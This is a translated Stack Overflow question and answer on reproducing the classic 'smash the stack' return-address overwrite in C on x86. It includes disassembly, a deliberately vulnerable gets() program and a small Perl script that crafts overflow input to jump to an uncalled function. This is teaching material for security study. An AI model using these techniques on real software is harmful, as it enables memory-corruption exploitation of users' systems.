c - 试图粉碎堆栈

标签 c gcc stack-overflow gnu exploit

我正在尝试重现我从 Aleph One 的文章“粉碎堆栈以获得乐趣和利润”(可在此处找到:http://insecure.org/stf/smashstack.html)中读到的 stackoverflow 结果。

尝试覆盖返回地址似乎对我不起作用。

C 代码:

            void function(int a, int b, int c) {
               char buffer1[5];
               char buffer2[10];
               int *ret;
               //Trying to overwrite return address
               ret = buffer1 + 12;
               (*ret) = 0x4005da;
            }

            void main() {
              int x;

              x = 0;
              function(1,2,3);
              x = 1;
              printf("%d\n",x);
            }

反汇编主要内容:

            (gdb) disassemble main
            Dump of assembler code for function main:
               0x00000000004005b0 <+0>:     push   %rbp
               0x00000000004005b1 <+1>:     mov    %rsp,%rbp
               0x00000000004005b4 <+4>:     sub    $0x10,%rsp
               0x00000000004005b8 <+8>:     movl   $0x0,-0x4(%rbp)
               0x00000000004005bf <+15>:    mov    $0x3,%edx
               0x00000000004005c4 <+20>:    mov    $0x2,%esi
               0x00000000004005c9 <+25>:    mov    $0x1,%edi
               0x00000000004005ce <+30>:    callq  0x400564 <function>
               0x00000000004005d3 <+35>:    movl   $0x1,-0x4(%rbp)
               0x00000000004005da <+42>:    mov    -0x4(%rbp),%eax
               0x00000000004005dd <+45>:    mov    %eax,%esi
               0x00000000004005df <+47>:    mov    $0x4006dc,%edi
               0x00000000004005e4 <+52>:    mov    $0x0,%eax
               0x00000000004005e9 <+57>:    callq  0x400450 <printf@plt>
               0x00000000004005ee <+62>:    leaveq
               0x00000000004005ef <+63>:    retq
            End of assembler dump.

我已经硬编码了返回地址以跳过 x=1;代码行,我使用了来自反汇编程序的硬编码值(地址:0x4005da)。此漏洞利用的目的是打印 0,但实际上打印的是 1。

我有一种非常强烈的感觉“ret = buffer1 + 12;”不是返回地址的地址。如果是这种情况,我如何确定返回地址,gcc 是否在返回地址和缓冲区之间分配了更多内存。

最佳答案

这是我不久前为 friend 写的关于使用 gets 执行缓冲区溢出攻击的指南。它讨论了如何获取返回地址以及如何使用它来覆盖旧地址:

我们对堆栈的了解告诉我们,返回地址出现在您试图溢出的缓冲区之后的堆栈上。但是,返回地址出现在缓冲区之后多远取决于您使用的体系结构。为了确定这一点,首先编写一个简单的程序并检查程序集:

C 代码:

void function() 
{
    char buffer[4];
}

int main() 
{
    function();
}

程序集(删节):

function:
    pushl %ebp
    movl %esp, %ebp
    subl $16, %esp
    leave
    ret
main:
    leal 4(%esp), %ecx
    andl $-16, %esp
    pushl -4(%ecx)
    pushl %ebp
    movl %esp, %ebp
    pushl %ecx
    call function
    ...

您可以使用多种工具来检查汇编代码。首先当然是 使用 gcc -S main.c 直接编译为 gcc 的汇编输出。这可能难以阅读,因为对于原始 C 代码对应的代码几乎没有任何提示。此外,还有许多难以筛选的样板代码。另一个要考虑的工具是 gdbtui。使用 gdbtui 的好处是您可以在运行程序时检查程序集源,并在整个程序执行过程中手动检查堆栈。但是,它的学习曲线很陡。

我最喜欢的汇编检查程序是objdump。运行 objdump -dS a.out 为程序集源提供原始 C 源代码的上下文。使用 objdump,在我的计算机上,返回地址从字符缓冲区的偏移量是 8 个字节。

此函数 function 获取返回地址并将其递增 7。该指令是 原指向的返回地址长度为7字节,所以加7使返回地址指向赋值后的指令。

在下面的示例中,我覆盖了返回地址以跳过指令 x = 1

简单的C程序:

void function() 
{
    char buffer[4];
    /* return address is 8 bytes beyond the start of the buffer */
    int *ret = buffer + 8;
    /* assignment instruction we want to skip is 7 bytes long */
    (*ret) += 7;
}

int main() 
{
    int x = 0;
    function();
    x = 1;
    printf("%d\n",x);
}

主要功能(80483af 处的 x = 1 是七个字节长):

8048392: 8d4c2404       lea 0x4(%esp),%ecx
8048396: 83e4f0         and $0xfffffff0,%esp
8048399: ff71fc         pushl -0x4(%ecx)
804839c: 55             push %ebp
804839d: 89e5           mov %esp,%ebp
804839f: 51             push %ecx
80483a0: 83ec24         sub $0x24,%esp
80483a3: c745f800000000 movl $0x0,-0x8(%ebp)
80483aa: e8c5ffffff     call 8048374 <function>
80483af: c745f801000000 movl $0x1,-0x8(%ebp)
80483b6: 8b45f8         mov -0x8(%ebp),%eax
80483b9: 89442404       mov %eax,0x4(%esp)
80483bd: c70424a0840408 movl $0x80484a0,(%esp)
80483c4: e80fffffff     call 80482d8 <printf@plt>
80483c9: 83c424         add $0x24,%esp
80483cc: 59             pop %ecx
80483cd: 5d             pop %ebp

我们知道返回地址在哪里,我们已经证明改变它会影响 运行的代码。缓冲区溢出可以通过使用 gets 并输入正确的字符串来做同样的事情,以便返回地址被新地址覆盖。

在下面的新示例中,我们有一个函数 function,它有一个使用 gets 填充的缓冲区。我们还有一个永远不会被调用的函数 uncalled。通过正确的输入,我们可以不被调用地运行。

#include <stdio.h>
#include <stdlib.h>

void uncalled() 
{
    puts("uh oh!");
    exit(1);
}

void function() 
{
    char buffer[4];
    gets(buffer);
}

int main() 
{
    function();
    puts("program secure");
}

要运行 uncalled,请使用 objdump 或类似工具检查可执行文件以找到 uncalled 的入口点地址。然后将地址附加到输入缓冲区的正确位置,以便它覆盖旧的返回地址。如果您的计算机是小端(x86 等),则需要交换地址的字节序。

为了正确地做到这一点,我在下面有一个简单的 perl 脚本,它生成的输入会导致缓冲区溢出,从而覆盖返回地址。它有两个参数,第一个是新的返回地址,第二个是从缓冲区开始到返回地址位置的距离(以字节为单位)。

#!/usr/bin/perl
print "x"x@ARGV[1];                                            # fill the buffer
print scalar reverse pack "H*", substr("0"x8 . @ARGV[0] , -8); # swap endian of input
print "\n";                                                    # new line to end gets

关于c - 试图粉碎堆栈,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/16765217/

相关文章:

c++ - bloom_filter_prl.exe : 0xC00000FD: Stack overflow 中 0x013f3277 的未处理异常

c - 将带有锐音符的字符分配给 C int 变量

c++ - ISO-10646 XFont 编码问题

c - C中的time()函数如何工作?

c++ - Mac 库链接

c++ - native 代码 : cannot use typeid with -fno-rtti

Java Spring Boot - JPA : StackOverflowError with a @ManyToMany relation

java - StackOverflow 错误,View.inflate 异常

c - 如果我们首先在 if 或 while 中使用 fork() 为什么会返回双零

c - 在 C 中旋转一个位数组